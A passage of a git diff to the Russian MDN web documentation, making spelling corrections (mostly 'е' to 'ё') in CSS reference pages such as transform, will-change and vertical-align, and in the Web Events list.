быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить ее для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.</p> +<p>Такие блоки называются <strong>блоками объявлений</strong>, и объявления в них разделяются точкой с запятой, '<code>;</code>' (<code>U+003B SEMICOLON</code>). Блок объявлений может быть пустым, т.е. не содержать объявлений. Пробелы между объявлениями игнорируются. Последнее объявление блока не нуждается в точке с запятой, хотя считается хорошим тоном добавить её для того, чтобы не допустить упущение этого знака при добавлении другого объявления в будущем.</p> <p><img alt="css syntax - declarations block.png" class="default internal" src="/@api/deki/files/6166/=css_syntax_-_declarations_block.png" style="border: 1px solid black; padding: 1em;"></p> -<div class="note">Содержимое блока объявлений CSS, т. е. объявления, разделенные точкой с запятой. Блок объявлений может быть помещен внутри атрибута style HTML-документа без фигурных скобок.</div> +<div class="note">Содержимое блока объявлений CSS, т. е. объявления, разделённые точкой с запятой. Блок объявлений может быть помещён внутри атрибута style HTML-документа без фигурных скобок.</div> <h2 id="CSS_rulesets">CSS rulesets</h2> diff --git a/files/ru/web/css/time/index.html b/files/ru/web/css/time/index.html index 6d15f3733d..f892300dc1 100644 --- a/files/ru/web/css/time/index.html +++ b/files/ru/web/css/time/index.html @@ -2,7 +2,7 @@ title: <time> slug: Web/CSS/time tags: - - Верстка + - Вёрстка - Типы данных - время translation_of: Web/CSS/time @@ -46,7 +46,7 @@ translation_of: Web/CSS/time <h3 id="Невалидное_время">Невалидное время</h3> -<pre class="example-bad">0 Хотя ноль разрешен без единиц измерения для <length>, это невалидно для <time>. +<pre class="example-bad">0 Хотя ноль разрешён без единиц измерения для <length>, это невалидно для <time>. 12.0 Это <number>, а не <time>, так как пропущена единица измерения. 7 ms Пробел между числом и единицей измерения не допускается. </pre> diff --git a/files/ru/web/css/touch-action/index.html b/files/ru/web/css/touch-action/index.html index 5efacb4f53..1aa97b70b9 100644 --- a/files/ru/web/css/touch-action/index.html +++ b/files/ru/web/css/touch-action/index.html @@ -25,7 +25,7 @@ touch-action: initial; touch-action: unset; </pre> -<p>По умолчанию, жесты панорамирование, прокрутка и сужающий обрабатываются исключительно браузером. Приложение, использующие {{domxref("Pointer_events", "Pointer events", "", 1)}} получит событие {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, когда браузер начнет обрабатывать тач жест. Явно указывая жесты обрабатываемые браузером, приложение может иметь свое поведение для оставшихся жестов благодаря прослушиванию событий {{domxref("HTMLElement/pointermove_event", "pointermove")}} и {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p> +<p>По умолчанию, жесты панорамирование, прокрутка и сужающий обрабатываются исключительно браузером. Приложение, использующие {{domxref("Pointer_events", "Pointer events", "", 1)}} получит событие {{domxref("HTMLElement/pointercancel_event", "pointercancel")}}, когда браузер начнёт обрабатывать тач жест. Явно указывая жесты обрабатываемые браузером, приложение может иметь своё поведение для оставшихся жестов благодаря прослушиванию событий {{domxref("HTMLElement/pointermove_event", "pointermove")}} и {{domxref("HTMLElement/pointerup_event", "pointerup")}}. Applications using {{domxref("Touch_events", "Touch events", "", 1)}} disable the browser handling of gestures by calling {{domxref("Event.preventDefault","preventDefault()")}}, but should also use <code>touch-action</code> to ensure the browser knows the intent of the application before any event listeners have been invoked.</p> <p>When a gesture is started, the browser intersects the <strong>touch-action</strong> values of the touched element and all its ancestors up to the one that implements the gesture (in other words, the first containing scrolling element). This means that in practice, <strong>touch-action</strong> is typically applied only to individual elements which have some custom behavior, without needing to specify <strong>touch-action</strong> explicitly on any of that element's descendants. After a gesture has started, changes to <strong>touch-action</strong> values will not have any impact on the behavior of the current gesture.</p> diff --git a/files/ru/web/css/transform-function/rotate3d()/index.html b/files/ru/web/css/transform-function/rotate3d()/index.html index aeadb96e60..77c045ef84 100644 --- a/files/ru/web/css/transform-function/rotate3d()/index.html +++ b/files/ru/web/css/transform-function/rotate3d()/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/transform-function/rotate3d() --- <div>{{CSSRef}}</div> -<div>Функция <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>rotate3d()</code> </strong>трансформирует элемент без деформации, вращая его в трехмерном пространстве вокруг зафиксированной оси. Её результатом является тип {{cssxref ("<transform-function>")}}.</div> +<div>Функция <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>rotate3d()</code> </strong>трансформирует элемент без деформации, вращая его в трёхмерном пространстве вокруг зафиксированной оси. Её результатом является тип {{cssxref ("<transform-function>")}}.</div> <div> </div> diff --git a/files/ru/web/css/transform-function/scale3d()/index.html b/files/ru/web/css/transform-function/scale3d()/index.html index acfcf77edf..e66adb526b 100644 --- a/files/ru/web/css/transform-function/scale3d()/index.html +++ b/files/ru/web/css/transform-function/scale3d()/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/transform-function/scale3d() --- <div>{{CSSRef}}</div> -<p><code>scale3d()</code> CSS функция изменяет размер элемента. Благодаря величине масштабирования определенной вектором, может изменять различные размеры в разных масштабах.</p> +<p><code>scale3d()</code> CSS функция изменяет размер элемента. Благодаря величине масштабирования определённой вектором, может изменять различные размеры в разных масштабах.</p> <p>Это преобразование характеризуется вектором, координаты которого определяют, сколько масштабирования выполняется в каждом направлении. Если все три координаты вектора равны, масштабирование равномерно или изотропно, а форма элемента сохраняется. В этом случае функция масштабирования определяет гомотетическое преобразование.</p> diff --git a/files/ru/web/css/transform-function/skew()/index.html b/files/ru/web/css/transform-function/skew()/index.html index 04ff2df26c..256d123b92 100644 --- a/files/ru/web/css/transform-function/skew()/index.html +++ b/files/ru/web/css/transform-function/skew()/index.html @@ -11,11 +11,11 @@ translation_of: Web/CSS/transform-function/skew() -<p>Данная трансформация является линейным преобразованием векторного пространства (трансвекция или <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), которое деформирует каждую точку элемента на определенный угол по горизонтали или вертикали. Координаты каждой точки изменяются на величину, пропорциональную указанному углу и расстоянию до точки, относительно которой выполняется трансформация (origin); таким образом, чем больше расстояние до смещаемой точки элемента, тем больше она будет смещена по горизонтали или вертикали.</p> +<p>Данная трансформация является линейным преобразованием векторного пространства (трансвекция или <a href="https://en.wikipedia.org/wiki/Shear_mapping">shear mapping</a>), которое деформирует каждую точку элемента на определённый угол по горизонтали или вертикали. Координаты каждой точки изменяются на величину, пропорциональную указанному углу и расстоянию до точки, относительно которой выполняется трансформация (origin); таким образом, чем больше расстояние до смещаемой точки элемента, тем больше она будет смещена по горизонтали или вертикали.</p> <h2 id="Синтаксис">Синтаксис</h2> -<p>Функция <code>skew()</code> задается одним или двумя значениями которые отображают наклон в каждом из направлений.</p> +<p>Функция <code>skew()</code> задаётся одним или двумя значениями которые отображают наклон в каждом из направлений.</p> <pre class="syntaxbox notranslate">skew(<em>ax</em>) @@ -60,7 +60,7 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML">HTML</h4> <pre class="brush: html notranslate"><div>Обычный</div> -<div class="skewed">Наклоненный</div></pre> +<div class="skewed">Наклонённый</div></pre> <h4 id="CSS">CSS</h4> @@ -85,7 +85,7 @@ skew(<em>ax</em>, <em>ay</em>) <h4 id="HTML_2">HTML</h4> <pre class="brush: html notranslate"><div>Обычный</div> -<div class="skewed">Наклоненный</div></pre> +<div class="skewed">Наклонённый</div></pre> <h4 id="CSS_2">CSS</h4> diff --git a/files/ru/web/css/transform-style/index.html b/files/ru/web/css/transform-style/index.html index 68408dca2a..eb102bd45e 100644 --- a/files/ru/web/css/transform-style/index.html +++ b/files/ru/web/css/transform-style/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/transform-style <p>Свойство <code>transform-style</code> <a href="/en-US/docs/Web/CSS">CSS</a> определяет положение дочернего элемента в 3D-пространстве или в той же плоскости, что и родительский элемент.</p> -<p>Если flat, то дочерний элемент не будет существовать в своем собственном 3D-пространстве.</p> +<p>Если flat, то дочерний элемент не будет существовать в своём собственном 3D-пространстве.</p> <p>Поскольку это свойство не наследуется, его следует устанавливать для всех не прямых потомков элемента.</p> diff --git a/files/ru/web/css/transform/index.html b/files/ru/web/css/transform/index.html index 54d70a010d..dc0f2707a6 100644 --- a/files/ru/web/css/transform/index.html +++ b/files/ru/web/css/transform/index.html @@ -4,7 +4,7 @@ slug: Web/CSS/transform tags: - CSS - transform - - Верстка + - Вёрстка - Свойство CSS - наклон - поворот @@ -103,9 +103,9 @@ transform: unset; <h2 id="Accessibility_concerns">Accessibility concerns</h2> -<p>Scaling/zooming анимации являются проблемой для accessibility, поскольку они становятся частым триггером для определенных типов мигрени. Если вам нужно добавить такие анимации на вашем веб-сайте, вы должны предоставить элемент управления, позволяющий пользователям отключать анимации, предпочтительно для всего сайта.</p> +<p>Scaling/zooming анимации являются проблемой для accessibility, поскольку они становятся частым триггером для определённых типов мигрени. Если вам нужно добавить такие анимации на вашем веб-сайте, вы должны предоставить элемент управления, позволяющий пользователям отключать анимации, предпочтительно для всего сайта.</p> -<p>Кроме того, рассмотрите возможность использования @media-опции {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} — используйте ее для написания {{cssxref("Media_Queries", "медиавыражения")}}, которое отключит анимацию, если пользователь уменьшил анимацию в системных настройках.</p> +<p>Кроме того, рассмотрите возможность использования @media-опции {{cssxref("@media/prefers-reduced-motion", "prefers-reduced-motion")}} — используйте её для написания {{cssxref("Media_Queries", "медиавыражения")}}, которое отключит анимацию, если пользователь уменьшил анимацию в системных настройках.</p> <p>Узнать больше:</p> diff --git a/files/ru/web/css/transition/index.html b/files/ru/web/css/transition/index.html index 69bada7245..3d1d7e6dd5 100644 --- a/files/ru/web/css/transition/index.html +++ b/files/ru/web/css/transition/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/transition --- <div>{{CSSRef}}</div> -<p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращенное свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, и {{ cssxref("transition-delay") }}.</p> +<p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращённое свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, и {{ cssxref("transition-delay") }}.</p> <div>{{EmbedInteractiveExample("pages/css/transition.html")}}</div> @@ -36,7 +36,7 @@ transition: margin-left 4s ease-in-out 1s; /* Применить к 2 свойствам */ transition: margin-left 4s, color 1s; -/* Применить ко всем измененным свойствам */ +/* Применить ко всем изменённым свойствам */ transition: all 0.5s ease-out; /* Глобальные значения */ diff --git a/files/ru/web/css/universal_selectors/index.html b/files/ru/web/css/universal_selectors/index.html index 9742586517..50de4b40f8 100644 --- a/files/ru/web/css/universal_selectors/index.html +++ b/files/ru/web/css/universal_selectors/index.html @@ -7,9 +7,9 @@ translation_of: Web/CSS/Universal_selectors <h2 id="Краткое_описание">Краткое описание</h2> -<p>Звездочка (*) - универсальный селектор для CSS. Соответствует любому тегу. Убирая звездочки с простых селекторов имеет тот же эффект. Например, <em>* .warning</em> и <em>.warning</em> считаются равными.</p> +<p>Звёздочка (*) - универсальный селектор для CSS. Соответствует любому тегу. Убирая звёздочки с простых селекторов имеет тот же эффект. Например, <em>* .warning</em> и <em>.warning</em> считаются равными.</p> -<p>В CSS 3, звездочка (<code>*</code>) может использоваться в комбинации с пространством имён</p> +<p>В CSS 3, звёздочка (<code>*</code>) может использоваться в комбинации с пространством имён</p> <ul> <li><code>ns|*</code> - вхождения всех элементов в пространстве имён ns</li> @@ -28,7 +28,7 @@ translation_of: Web/CSS/Universal_selectors <span lang="en-us">Зелёный span</span> в красном параграфе. </p> <p id="maincontent" lang="en-gb"> - <span class="warning">Красный span</span> в зеленом параграфе. + <span class="warning">Красный span</span> в зелёном параграфе. </p></pre> <p>{{ EmbedLiveSample('Example', 250, 100) }}</p> @@ -52,7 +52,7 @@ translation_of: Web/CSS/Universal_selectors <tr> <td>{{ SpecName('CSS3 Selectors', '#universal-selector', 'universal selector') }}</td> <td>{{ Spec2('CSS3 Selectors') }}</td> - <td>Определено поведение в отношении пространств имен и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов</td> + <td>Определено поведение в отношении пространств имён и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов</td> </tr> <tr> <td>{{ SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector') }}</td> diff --git a/files/ru/web/css/used_value/index.html b/files/ru/web/css/used_value/index.html index 2467369481..4ae8b7251b 100644 --- a/files/ru/web/css/used_value/index.html +++ b/files/ru/web/css/used_value/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/used_value <div><strong>Используемое значение </strong>- <a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS </a>свойство, которое используется, когда все вычисления уже выполнены, смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/computed_value">вычисленное значение</a>.</div> <article> -<p>После того как {{glossary("user agent")}} закончил свои расчеты каждое свойство CSS имеет своё значение. Используемые значения (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.</p> +<p>После того как {{glossary("user agent")}} закончил свои расчёты каждое свойство CSS имеет своё значение. Используемые значения (например, {{cssxref("width")}}, {{cssxref("line-height")}}) в пикселях. Используемые значения сокращённых свойств (например, {{cssxref("background")}}) согласуются с теми из свойств компонентов (например, {{cssxref("background-color")}} или {{cssxref("background-size")}}) и с {{cssxref("position")}} и {{cssxref("float")}}.</p> <div class="blockIndicator note"> <p><strong>Замечание</strong>: {{domxref("Window.getComputedStyle", "getComputedStyle()")}} DOM API возвращает <a href="/ru/docs/">решённое значение</a>, которое может быть <a href="/ru/docs/">численным значением</a> или <a href="/ru/docs/">используемым значением</a>, в зависимости от свойства.</p> diff --git a/files/ru/web/css/user-select/index.html b/files/ru/web/css/user-select/index.html index 2b9b17f8ae..ed33dd0608 100644 --- a/files/ru/web/css/user-select/index.html +++ b/files/ru/web/css/user-select/index.html @@ -2,7 +2,7 @@ title: user-select slug: Web/CSS/user-select tags: - - Верстка + - Вёрстка - Свойство translation_of: Web/CSS/user-select --- @@ -62,7 +62,7 @@ user-select: unset; <dt><code>text</code></dt> <dd>Текст может быть выбран пользователем.</dd> <dt><code>all</code></dt> - <dd>В HTML-редакторе, если двойной клик или контекстный клик произошел во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.</dd> + <dd>В HTML-редакторе, если двойной клик или контекстный клик произошёл во вложенном элементе, будет выбрано все содержимое коренного предка с этим значением свойства.</dd> <dt><code>contain</code></dt> <dd>Позволяет начать выбор внутри элемента; однако, выбор будет содержаться внутри границ данного элемента.</dd> <dt><code>element</code>{{non-standard_inline}} (IE-specific alias)</dt> diff --git a/files/ru/web/css/using_css_custom_properties/index.html b/files/ru/web/css/using_css_custom_properties/index.html index 65fd104311..064d0fda66 100644 --- a/files/ru/web/css/using_css_custom_properties/index.html +++ b/files/ru/web/css/using_css_custom_properties/index.html @@ -35,12 +35,12 @@ translation_of: Web/CSS/Using_CSS_custom_properties </pre> <div class="note"> -<p><strong>Note:</strong> В более ранней спецификации префикс для переменных был <code>var-</code> , но позже был изменен на <code>--</code>. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})</p> +<p><strong>Note:</strong> В более ранней спецификации префикс для переменных был <code>var-</code> , но позже был изменён на <code>--</code>. Firefox 31 и выше следуют новой спецификации.({{bug(985838)}})</p> </div> <h2 id="Первый_шаг_с_CSS_Переменными">Первый шаг с CSS Переменными</h2> -<p>Начнем с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:</p> +<p>Начнём с этого простого CSS, который окрасит элементы разных классов одинаковым цветом:</p> <div id="sample1"> <pre class="brush:css; highlight:[3,20,26,32]">.one { diff --git a/files/ru/web/css/vertical-align/index.html b/files/ru/web/css/vertical-align/index.html index 2ff298b02e..2a4ae09c70 100644 --- a/files/ru/web/css/vertical-align/index.html +++ b/files/ru/web/css/vertical-align/index.html @@ -89,7 +89,7 @@ p { <td style="vertical-align: middle">middle</td> <td style="vertical-align: bottom">bottom</td> <td> - <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо нее появится нечто еще более причудливое и необъяснимое.</p> + <p>Существует теория, которая утверждает, что если однажды кто-нибудь доподлинно выяснит, что такое и для чего нужна Вселенная, она тотчас же исчезнет, и вместо неё появится нечто ещё более причудливое и необъяснимое.</p> <p>Существует и другая теория, согласно которой это уже случилось.</p></pre> <pre class="hidden brush: css notranslate">table { @@ -119,7 +119,7 @@ td { <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>vertical-align</code> задается одним из ключевых значений, указанных ниже.</p> +<p>Свойство <code>vertical-align</code> задаётся одним из ключевых значений, указанных ниже.</p> <h3 id="Значения_для_строчных_элементов">Значения для строчных элементов</h3> @@ -157,7 +157,7 @@ td { <dd>Выравнивает нижний край элемента и его потомков с нижним краем всей строки.</dd> </dl> -<p>Для элементов, у которых нет базовой линии, вместо нее используется нижняя граница внешнего отступа (margin).</p> +<p>Для элементов, у которых нет базовой линии, вместо неё используется нижняя граница внешнего отступа (margin).</p> <h3 id="Значения_для_ячеек_таблицы">Значения для ячеек таблицы</h3> diff --git a/files/ru/web/css/visibility/index.html b/files/ru/web/css/visibility/index.html index 3f3a053076..4d27fd4dc3 100644 --- a/files/ru/web/css/visibility/index.html +++ b/files/ru/web/css/visibility/index.html @@ -37,7 +37,7 @@ visibility: unset; <h3 id="Значения">Значения</h3> <ul> - <li>Для строк, столбцов, групп столбцов и групп строк в таблице, которые должны быть удалены (как с помощью <code>{{Cssxref("display")}}: none</code> примененного к столбцу/строке таблицы). Однако, размер других строк и столбцов должен продолжать вычисляться так, словно скрытые строки/столбцы присутствуют. Это создано для быстрого удаления строк/столбцов из таблицы без дополнительного вычисления ширины и высоты частей таблицы.</li> + <li>Для строк, столбцов, групп столбцов и групп строк в таблице, которые должны быть удалены (как с помощью <code>{{Cssxref("display")}}: none</code> применённого к столбцу/строке таблицы). Однако, размер других строк и столбцов должен продолжать вычисляться так, словно скрытые строки/столбцы присутствуют. Это создано для быстрого удаления строк/столбцов из таблицы без дополнительного вычисления ширины и высоты частей таблицы.</li> <li>Для XUL элементов размер всегда равен 0, независимо от других стилей, влияющих на размер, хотя отступы продолжают учитываться.</li> <li>Для других элементов <code>collapse</code> обрабатывается также, как <code>hidden</code></li> </ul> diff --git a/files/ru/web/css/visual_formatting_model/index.html b/files/ru/web/css/visual_formatting_model/index.html index 9faa4e62f5..6c756b85ba 100644 --- a/files/ru/web/css/visual_formatting_model/index.html +++ b/files/ru/web/css/visual_formatting_model/index.html @@ -18,7 +18,7 @@ original_slug: Web/Guide/CSS/Visual_formatting_model <li>другой внешней информацией.</li> </ul> -<p>Бокс отображается относительно краев <em>содержащего его блока. </em>Как правило, бокс определяет родительский блок для своих потомков. Однако, стоит заметить, что бокс не ограничен содержащим его блоком. Такое поведение слоев, выходящих за пределы своих содержащих блоков, называется <em>переполнением</em> (<em>overflow).</em></p> +<p>Бокс отображается относительно краёв <em>содержащего его блока. </em>Как правило, бокс определяет родительский блок для своих потомков. Однако, стоит заметить, что бокс не ограничен содержащим его блоком. Такое поведение слоёв, выходящих за пределы своих содержащих блоков, называется <em>переполнением</em> (<em>overflow).</em></p> <h2 id="Генерация_бокса">Генерация бокса</h2> diff --git a/files/ru/web/css/white-space/index.html b/files/ru/web/css/white-space/index.html index 7cd0e47ec5..a751f353b6 100644 --- a/files/ru/web/css/white-space/index.html +++ b/files/ru/web/css/white-space/index.html @@ -62,7 +62,7 @@ white-space: unset; </dd> </dl> -<p>В приведенной ниже таблице указано поведение различных значений свойства <code>white-space</code>:</p> +<p>В приведённой ниже таблице указано поведение различных значений свойства <code>white-space</code>:</p> <table class="standard-table"> <thead> diff --git a/files/ru/web/css/will-change/index.html b/files/ru/web/css/will-change/index.html index 916c5d4263..cb52d6e9b0 100644 --- a/files/ru/web/css/will-change/index.html +++ b/files/ru/web/css/will-change/index.html @@ -26,16 +26,16 @@ will-change: unset;</code></pre> <ul> <li> - <p id="Don't_apply_will-change_to_too_many_elements"><em>Не применяйте will-change к большому числу элементов.</em> Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжелые оптимизации ссылающиеся на <code>will-change</code> используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.</p> + <p id="Don't_apply_will-change_to_too_many_elements"><em>Не применяйте will-change к большому числу элементов.</em> Браузер и так пытается изо всех сил всё оптимизировать. Некоторые тяжёлые оптимизации ссылающиеся на <code>will-change</code> используют много аппаратных мощностей, и если злоупотреблять этим, это может привести к замедлению работы страницы и потреблению большого количества ресурсов.</p> </li> <li> <p><em>Используйте умеренно.</em> Обычное поведение для оптимизаций которые выполняет браузер, удалить оптимизацию как можно скорее и вернуть нормальное состояние. Но добавление <code>will-change</code> прямо в файле стилей предполагает, что указанный элемент всегда находится в нескольких шагах от изменений и браузер будет сохранять для него оптимизацию гораздо больше времени. Так что, было бы хорошо включать и отключать <code>will-change</code> используя скрипт до и после того как произошли изменения.</p> </li> <li> - <p><em>Не применяйте will-change к элементам для выполнения преждевременной оптимизации</em>. Если ваша страница хорошо отрабатывается, не применяйте <code>will-change</code> свойство к элементу только чтобы выжать немного больше скорости. <code>will-change</code> предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование <code>will-change</code> приведет к излишнему потреблению памяти и вызовет более тяжелый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведет к ухудшению производительности.</p> + <p><em>Не применяйте will-change к элементам для выполнения преждевременной оптимизации</em>. Если ваша страница хорошо отрабатывается, не применяйте <code>will-change</code> свойство к элементу только чтобы выжать немного больше скорости. <code>will-change</code> предназначен для использования в крайнем случае, для того чтобы исправить существующие проблемы оптимизации. Его не следует использовать для предвидения проблем оптимизации. Чрезмерное использование <code>will-change</code> приведёт к излишнему потреблению памяти и вызовет более тяжёлый рендеринг так как браузер будет пытаться подготовиться к возможным изменениям. Это приведёт к ухудшению производительности.</p> </li> <li> - <p id="Give_it_sufficient_time_to_work"><em>Дайте ему достаточно времени, чтобы работать</em>. Это свойство дает автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.</p> + <p id="Give_it_sufficient_time_to_work"><em>Дайте ему достаточно времени, чтобы работать</em>. Это свойство даёт автору способ указать пользовательскому агенту свойства, которые могут измениться в будущем. Затем браузер может применить любые предварительные оптимизации, необходимые для изменения свойств до того, когда эти свойства изменятся. Поэтому важно дать браузеру некоторое время, чтобы провести оптимизацию. Найдите способ предсказать изменение хотя бы немного заранее, что-то изменится, и затем установите изменение.</p> </li> </ul> @@ -58,7 +58,7 @@ will-change: unset;</code></pre> <dt><code>contents</code></dt> <dd>Указывает, что автор ожидает анимацию или изменение чего то в контенте элемента в ближайшем будущем.</dd> <dt>{{cssxref("custom-ident", "<custom-ident>")}}</dt> - <dd>Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращенная запись, тогда оно указывает на все полные записи свойств, на которые указывает сокращенная запись. Это не может быть одним из следующих значений: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, или <code>contents</code>. </dd> + <dd>Указывает, что автор ожидает анимацию или изменить свойства с заданным именем в элементе в ближайшем будущем . Если заданное свойство-это сокращённая запись, тогда оно указывает на все полные записи свойств, на которые указывает сокращённая запись. Это не может быть одним из следующих значений: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, или <code>contents</code>. </dd> </dl> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/css/word-spacing/index.html b/files/ru/web/css/word-spacing/index.html index 0bd210c64b..495aa1889c 100644 --- a/files/ru/web/css/word-spacing/index.html +++ b/files/ru/web/css/word-spacing/index.html @@ -37,7 +37,7 @@ word-spacing: unset; <dl> <dt><code>normal</code></dt> - <dd>Нормальный интервал между словами, определенный текущим шрифтом и/или браузером.</dd> + <dd>Нормальный интервал между словами, определённый текущим шрифтом и/или браузером.</dd> <dt>{{cssxref("length")}}</dt> <dd>Определяет дополнительный интервал в дополнение к внутреннему интервалу между словами, определяемому шрифтом.</dd> <dt>{{cssxref("percentage")}}</dt> @@ -71,7 +71,7 @@ word-spacing: unset; <p>Большое положительное или отрицательное значение <code>word-spacing</code> может сделать предложения, к которым применяется стиль, нечитаемыми. Для текста, стилизованного с очень большими положительными значениями, слова будут так далеки друг от друга, что он больше не будет казаться предложением. Для текста, стилизованного с очень большими отрицательными значениями, слова будут перекрывать друг от друга до точки, где начало и конец каждого слова будут неразличимы.</p> -<p>Разборчивый <code>word-spacing</code> должен быть определен в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.</p> +<p>Разборчивый <code>word-spacing</code> должен быть определён в каждом конкретном случае, так как различные семейства шрифтов имеют различную ширину символов. Нет ни одного значения, которое может обеспечить для всех семейств шрифтов автоматическое сохранение разборчивости.</p> <ul> <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li> @@ -92,7 +92,7 @@ word-spacing: unset; <tr> <td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td> <td>{{Spec2('CSS3 Text')}}</td> - <td>Заменяет предыдущее значение значением <code><spacing-limit></code>, которое определяет те же вещи, плюс значение <code><percentage></code>. Позволяет использовать до трех значений, описывающих оптимальное, минимальное и максимальное значение.</td> + <td>Заменяет предыдущее значение значением <code><spacing-limit></code>, которое определяет те же вещи, плюс значение <code><percentage></code>. Позволяет использовать до трёх значений, описывающих оптимальное, минимальное и максимальное значение.</td> </tr> <tr> <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'word-spacing')}}</td> diff --git a/files/ru/web/events/index.html b/files/ru/web/events/index.html index c760122766..a796d5ade0 100644 --- a/files/ru/web/events/index.html +++ b/files/ru/web/events/index.html @@ -15,7 +15,7 @@ translation_of: Web/Events <p>Эта статья содержит список событий, которые могут быть отправлены; некоторые стандартные события определены в официальной документации, тогда как другие события являются специфичными для конкретных браузеров. Для примера, в списке приведены специфические для браузера Mozilla события, которые позволяют использовать add-ons для взаимодействия с браузером.</p> -<h2 id="Наиболее_распространенные_категории">Наиболее распространенные категории</h2> +<h2 id="Наиболее_распространённые_категории">Наиболее распространённые категории</h2> <table class="standard-table"> <caption> @@ -294,7 +294,7 @@ translation_of: Web/Events <tbody> <tr> <td>{{Event("fullscreenchange")}}</td> - <td>Элемент был переведен в полноэкранный режим или обратно в нормальный режим.</td> + <td>Элемент был переведён в полноэкранный режим или обратно в нормальный режим.</td> </tr> <tr> <td>{{Event("fullscreenerror")}}</td> @@ -386,7 +386,7 @@ translation_of: Web/Events </tr> <tr> <td>{{Event("dblclick")}}</td> - <td>На элементе дважды щелкается кнопка указывающего устройства.</td> + <td>На элементе дважды щёлкается кнопка указывающего устройства.</td> </tr> <tr> <td>{{Event("mousedown")}}</td> @@ -394,11 +394,11 @@ translation_of: Web/Events </tr> <tr> <td>{{Event("mouseenter")}}</td> - <td>Указывающее устройство перемещено на элемент, к которому подключен обработчик.</td> + <td>Указывающее устройство перемещено на элемент, к которому подключён обработчик.</td> </tr> <tr> <td>{{Event("mouseleave")}}</td> - <td>Указывающее устройство перемещается от элемента, к которому подключен обработчик.</td> + <td>Указывающее устройство перемещается от элемента, к которому подключён обработчик.</td> </tr> <tr> <td>{{Event("mousemove")}}</td> @@ -408,11 +408,11 @@ translation_of: Web/Events <td> <h5 id="Eventmouseover">{{Event("mouseover")}}</h5> </td> - <td>Указывающее устройство перемещается на элемент, к которому подключен обработчик, или на один из его дочерних элементов.</td> + <td>Указывающее устройство перемещается на элемент, к которому подключён обработчик, или на один из его дочерних элементов.</td> </tr> <tr> <td>{{Event("mouseout")}}</td> - <td>Указывающее устройство перемещается от элемента, к которому подключен обработчик, или от одного из его дочерних элементов.</td> + <td>Указывающее устройство перемещается от элемента, к которому подключён обработчик, или от одного из его дочерних элементов.</td> </tr> <tr> <td>{{Event("mouseup")}}</td> @@ -649,7 +649,7 @@ translation_of: Web/Events <code><a href="/en-US/docs/Web/API/EventSource/open_event">open</a></code><br> <code><a href="/en-US/docs/Web/API/Element/show_event">show</a></code></p> -<h2 id="Менее_распространенные_и_нестандартные_события">Менее распространенные и нестандартные события</h2> +<h2 id="Менее_распространённые_и_нестандартные_события">Менее распространённые и нестандартные события</h2> <h3 id="Abortable_Fetch_события">Abortable 